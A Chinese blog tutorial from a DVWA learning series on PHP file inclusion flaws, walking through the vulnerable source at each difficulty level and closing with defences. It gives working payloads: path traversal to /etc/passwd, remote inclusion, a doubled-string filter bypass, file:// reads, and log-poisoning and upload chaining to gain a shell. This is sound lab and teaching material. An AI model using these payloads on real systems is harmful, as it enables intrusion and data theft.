DVWA学习(八)文件包含漏洞

引言

DVWA学习(八)文件包含漏洞

简介

File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函include(),require()和include_once(),require_once()利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

本地文件包含(Loacl File Inclusion,LFI)
通过浏览器引进(包含)web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格 的过滤允许遍历目录的字符注入浏览器并执行。

远程文件包含(Remote File Inclusion,RFI)
该漏洞允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码

系统中常见的敏感信息路径如下:
(1)Windows系统

(2)Linux系统

LOW难度

源码

1
2
3
4
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

page参数没有任何过滤。点击三个文件名,服务器会包含相应的文件,page参数是不可控的。

服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

本地文件包含

绝对路径:

1
http://192.168.86.128/DVWA-master/vulnerabilities/fi/?page=/etc/passwd

../返回上级目录,可以用多次先返回到根目录然后再进入目标目录

1
http://192.168.86.128/DVWA-master/vulnerabilities/fi/?page=../../../../../../etc/passwd

远程文件包含

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。

在主机服务器创建test.txt文件

构造url

1
http://192.168.86.128/DVWA-master/vulnerabilities/fi/page=http://192.168.86.1/test.txt

Medium难度

源码:

1
2
3
4
5
6
7
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>

使用str_replace函数过滤了http://https://,以及../..

使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

远程文件包含:

1
http://192.168.86.128/DVWA-master/vulnerabilities/fi/?page=htthttp://p://192.168.86.1/test.txt

High难度

源码:

1
2
3
4
5
6
7
8
9
10
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>

fnmatch() 函数根据指定的模式来匹配文件名或字符串。

1
2
3
4
5
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

这个if语句的意思是如果page中不含有file并且page不等于include.php服务器才不回去包含相应的文件。两个条件只要不满足其中之一就可以,要么page等于include.php,要么page含有file。用file://流访问本地文件系统。

1
http://192.168.86.128/DVWA-master/vulnerabilities/fi/?page=file:///etc/passwd

至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。

impossible

源码

1
2
3
4
5
6
7
8
9
10
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>

采用白名单机制进行防护,,page参数必须为include.php、file1.php、file2.php、file3.php之一,彻底杜绝了文件包含漏洞。

利用

1.包含Apache日志文件:

Apache运行后一般默认会生成两个日志文件,这两个文件是access.log(访问日志),和error.log(错误日志),Apache的访问日志文件记录了客户端的每次请求以及服务器响应的相关信息。

当访问一个不存在的资源的时候,Apache日志文件同样会记录,这就意味着,如果网站存在本地包含漏洞,却没有可以包含的文件时,就可以去访问URL:

1
http://ww.XXX.com/<?php phpinfo();?>

Apache会记录请求<?php phpinfo();?>,并写到access.log 文件中,这时再去包含Apache日志文件,就可以利用文件包含漏洞了。
但是访问URL后,一句话木马在日志文件中变形了,这是由于URL编码的缘故。PHP中的<>都被浏览器转码了,但是可以通过burp抓包绕过编码。
前提是攻击者知道Apache的日志路径。

成功写入日志文件

因为MySQL用户权限不足,不能读取Apache的日志,需要提权操作。

2.配合文件上传漏洞

和文件上传漏洞或者SQL注入漏洞等一同利用,通过利用前面的漏洞将一句话木马1.php文件上传到Web服务器中,然后再通过文件包含漏洞包含出现从而得到shell。
例如上传了一个名为1.txt的文件,内容为:
<?php phpinfo();?>
直接包含该文件会将该文件以PHP来运行:

防御方法:

1、严格判断包含中的参数是否外部可控。
2、路径限制,限制被包含的文件只能在某一个文件夹内,特别是一定要禁止目录跳转字符,如:../
3、基于白名单的包含文件验证,验证被包含的文件是否在白名单中。
4、尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include("head.php")
5、可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含。

介绍:仅供技术交流学习探讨,请勿用于非法用途。本文部分资源来源于网络,如有侵权请联系版主删除。

-------------本文结束感谢您的阅读-------------
纯属好玩,打赏多少您随意!